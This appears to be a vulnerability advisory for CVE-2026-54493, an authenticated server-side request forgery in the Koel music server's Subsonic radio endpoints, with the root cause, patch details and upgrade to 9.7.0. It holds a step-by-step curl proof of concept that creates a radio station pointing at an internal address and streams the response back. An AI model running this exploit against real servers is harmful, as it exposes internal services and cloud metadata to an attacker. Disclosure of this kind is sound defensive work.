high · 7.7CVE-2026-54493Jul 15, 2026

CVE-2026-54493: Koel Authenticated Full-Read SSRF via Subsonic Radio Endpoints

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Koel's Subsonic-compatible radio endpoints skip the URL safety checks that protect the regular API, so an authenticated user can point a radio station at any internal address and read the server's…

Packagephanan/koel
Ecosystemcomposer
Affected<= 9.6.0
Fixed in9.7.0

The problem

Koel applies SafeUrl and HasAudioContentType validation to streamUrl on the main REST radio API (RadioStationStoreRequest, RadioStationUpdateRequest), but the equivalent Subsonic routes (createInternetRadioStation.view and updateInternetRadioStation.view) only require the field to be a non-empty string.

The gap means any authenticated user can persist a private or loopback URL as a radio station without triggering the SSRF guard.

When the station is played, RadioStreamProxy::openStream() calls fopen($url, 'r', ...) directly on the stored URL and pipes every chunk back to the client with fread. This is a full-read SSRF: the attacker receives the upstream response body through /radio/stream/{id}, making it suitable for reading internal admin panels, cloud metadata endpoints, or any RFC-1918 service reachable from the Koel container.

Proof of concept

A working proof-of-concept for CVE-2026-54493 in phanan/koel, with the exact payload below.

bash
# Step 1: authenticate and get an API token
API_TOKEN=$(
  curl -sS -X POST http://127.0.0.1:18081/api/me \
    -H 'Content-Type: application/json' \
    --data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)

# Step 2: get the Subsonic API key
SUBSONIC_KEY=$(
  curl -sS http://127.0.0.1:18081/api/data \
    -H "Authorization: Bearer $API_TOKEN" \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)

# Step 3: target an internal URL (e.g. Docker bridge or loopback)
TARGET_URL="http://172.17.0.1:18090/feed.xml"

# Step 4: confirm the regular API blocks it (returns HTTP 422)
curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
  -H "Authorization: Bearer $API_TOKEN" \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  --data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"

# Step 5: bypass via the Subsonic endpoint (returns HTTP 200 + {"status":"ok"})
curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \
  --data-urlencode "apiKey=$SUBSONIC_KEY" \
  --data-urlencode 'f=json' \
  --data-urlencode 'name=xmlpeek' \
  --data-urlencode "streamUrl=$TARGET_URL"

# Step 6: resolve the station ID and stream to read the internal response
STATION_ID=$(
  curl -sS "http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json" \
  | python3 -c 'import json,sys; items=json.load(sys.stdin)["subsonic-response"]["internetRadioStations"]["internetRadioStation"]; print(next(x["id"] for x in items if x["name"]=="xmlpeek"))'
)

curl -i "http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN"
# Response body contains the content of $TARGET_URL

The root cause is a validation inconsistency between two code paths that create the same model. The regular API request classes enforce new SafeUrl() (which resolves the hostname and rejects RFC-1918 and loopback IPs) and new HasAudioContentType(), while the Subsonic request classes only declared ['required', 'string'] for streamUrl, so neither check ever ran.

The patch (commit 1331f335) adds new SafeUrl() and new HasAudioContentType() to both CreateInternetRadioStationRequest and UpdateInternetRadioStationRequest, bringing them in line with their REST counterparts. A defense-in-depth change also adds a isSafeUrl() pre-flight inside RadioStreamProxy::openStream() so a stored malicious URL cannot be fetched even if it somehow bypasses the request validator.

CWE-918 (Server-Side Request Forgery) applies directly: user-supplied input reaches a server-side fopen() call without host validation, and the full response is returned to the requester.

The fix

Upgrade to Koel 9.7.0 (commit 1331f335342b405e60ffabdd60f1f398508f996f, PR #2545). The fix adds SafeUrl and HasAudioContentType validation to both Subsonic radio request classes and adds an isSafeUrl() guard inside RadioStreamProxy::openStream() as a second layer.

No workaround short of disabling the Subsonic API entirely is effective on 9.6.0.

Reporter not attributed.

References: [1][2][3][4][5]

Related research